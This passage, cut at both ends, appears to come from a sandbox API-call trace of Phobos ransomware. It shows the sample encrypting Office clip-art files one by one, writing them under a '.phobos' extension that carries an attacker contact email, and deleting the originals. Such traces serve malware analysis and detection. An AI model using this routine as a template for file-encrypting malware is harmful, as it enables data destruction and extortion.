lpOverlapped=0x0) returned 1 [0060.385] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1b60, dwBufLen=0x1b60 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1b60) returned 1 [0060.385] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1b60, lpOverlapped=0x0) returned 1 [0060.386] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0060.386] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.386] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.386] CryptDestroyKey (hKey=0x10dc690) returned 1 [0060.386] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.386] CryptDestroyKey (hKey=0x10dc850) returned 1 [0060.386] CloseHandle (hObject=0x31c) returned 1 [0060.386] CloseHandle (hObject=0x338) returned 1 [0060.387] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0060.402] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.405] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=11500) returned 1 [0060.405] CloseHandle (hObject=0x310) returned 1 [0060.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0060.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.405] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.406] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.407] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0060.407] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.407] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2cec, lpOverlapped=0x0) returned 1 [0060.408] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2cf0) returned 1 [0060.408] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2cf0, lpOverlapped=0x0) returned 1 [0060.409] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0060.409] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.409] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.409] CryptDestroyKey (hKey=0x10dc790) returned 1 [0060.409] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.409] CryptDestroyKey (hKey=0x10dc650) returned 1 [0060.409] CloseHandle (hObject=0x310) returned 1 [0060.409] CloseHandle (hObject=0x330) returned 1 [0060.413] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0060.414] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.414] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4408) returned 1 [0060.414] CloseHandle (hObject=0x310) returned 1 [0060.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0060.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.414] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.414] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.415] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc610) returned 1 [0060.415] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.415] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1138, lpOverlapped=0x0) returned 1 [0060.434] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1140, dwBufLen=0x1140 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1140) returned 1 [0060.434] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1140, lpOverlapped=0x0) returned 1 [0060.435] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc50) returned 1 [0060.435] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.435] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.435] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.435] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.435] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.435] CloseHandle (hObject=0x310) returned 1 [0060.435] CloseHandle (hObject=0x334) returned 1 [0060.436] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0060.437] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.438] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=19476) returned 1 [0060.438] CloseHandle (hObject=0x334) returned 1 [0060.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0060.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.438] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.438] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.438] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc950) returned 1 [0060.438] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.438] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4c14, lpOverlapped=0x0) returned 1 [0060.451] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4c20) returned 1 [0060.451] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4c20, lpOverlapped=0x0) returned 1 [0060.453] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb90) returned 1 [0060.453] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.453] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.453] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.453] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.453] CryptDestroyKey (hKey=0x10dc950) returned 1 [0060.453] CloseHandle (hObject=0x334) returned 1 [0060.453] CloseHandle (hObject=0x310) returned 1 [0060.459] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0060.460] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.466] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3350) returned 1 [0060.466] CloseHandle (hObject=0x330) returned 1 [0060.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0060.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.467] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.467] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.468] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc9d0) returned 1 [0060.468] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.468] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xd16, lpOverlapped=0x0) returned 1 [0060.614] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd20, dwBufLen=0xd20 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd20) returned 1 [0060.614] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xd20, lpOverlapped=0x0) returned 1 [0060.615] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0060.615] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.615] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.615] CryptDestroyKey (hKey=0x10dc650) returned 1 [0060.615] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.615] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.615] CloseHandle (hObject=0x330) returned 1 [0060.615] CloseHandle (hObject=0x328) returned 1 [0060.616] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0060.617] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.659] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1444) returned 1 [0060.660] CloseHandle (hObject=0x300) returned 1 [0060.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0060.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.660] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.660] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.660] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0060.660] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.660] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x5a4, lpOverlapped=0x0) returned 1 [0060.667] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5b0) returned 1 [0060.667] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x5b0, lpOverlapped=0x0) returned 1 [0060.668] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc910) returned 1 [0060.668] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.668] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.668] CryptDestroyKey (hKey=0x10dc910) returned 1 [0060.668] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.669] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.669] CloseHandle (hObject=0x300) returned 1 [0060.669] CloseHandle (hObject=0x310) returned 1 [0060.669] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0060.670] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.671] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7974) returned 1 [0060.671] CloseHandle (hObject=0x310) returned 1 [0060.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0060.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 